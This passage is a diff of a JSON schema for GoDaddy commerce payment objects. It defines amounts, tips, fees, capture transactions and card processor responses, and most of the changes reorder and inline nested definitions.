"$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" } }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", "properties": { - "amountType": { - "type": "string" + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } - } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } }, "required": [ - "newAmount" - ] - }, - "readOnly": true, - "description": "Adjustments for the payment" + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } }, - "captures": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/capture.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Capture Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } + "title": "Address Verification Status", + "type": "string" }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - } + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" ], - "type": "object" + "title": "Address Verification Status", + "type": "string" }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - } + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } - } + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" }, - "properties": { - "processorType": { - "type": "string" - } + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" + } + }, + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents capture transaction against a payment", + "properties": { + "parentTransactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + } + }, + "title": "Capture Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read", + "urn:godaddy:services:commerce:payments:read-write" + 